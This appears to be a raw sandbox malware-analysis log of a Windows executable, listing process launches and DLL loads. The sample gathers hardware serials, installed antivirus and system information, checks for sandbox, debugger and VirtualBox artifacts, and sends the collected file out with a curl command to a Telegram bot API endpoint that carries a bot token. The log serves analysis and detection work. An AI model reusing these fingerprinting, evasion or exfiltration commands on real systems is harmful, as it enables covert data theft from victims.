Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" csproduct get identifyingnumber
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\getmac.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\curl.exe "curl" -k -F chat_id=-4193710271 -F document=@system_info.txt;filename=528110-4174-1.log https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4/sendDocument
Source: C:\Windows\System32\curl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" bios get serialnumber	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" baseboard get serialnumber	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" cpu get name	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" computersystem get totalphysicalmemory	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" diskdrive get model,size	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" /namespace:\\root\SecurityCenter2 path AntivirusProduct get displayName	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\getmac.exe "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\systeminfo.exe "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m sbiedll.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m api_log.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m dir_watch.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m pstorec.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m vmcheck.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /m wpespy.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /fi "IMAGENAME eq vboxservice.exe"	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\tasklist.exe "tasklist" /fi "IMAGENAME eq vboxtray.exe"	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\wbem\WMIC.exe "wmic" csproduct get identifyingnumber	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Process created: C:\Windows\System32\curl.exe "curl" -k -F chat_id=-4193710271 -F document=@system_info.txt;filename=528110-4174-1.log https://api.telegram.org/bot7068399075:AAEU8zRzCqB0URyCZuIuzOS0iXNMCPf1hu4/sendDocument	Jump to behavior

Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\9KEZfGRjyK.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\getmac.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\getmac.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\getmac.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\getmac.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\getmac.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\getmac.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\getmac.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\getmac.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\getmac.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\getmac.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\getmac.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\getmac.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\curl.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll
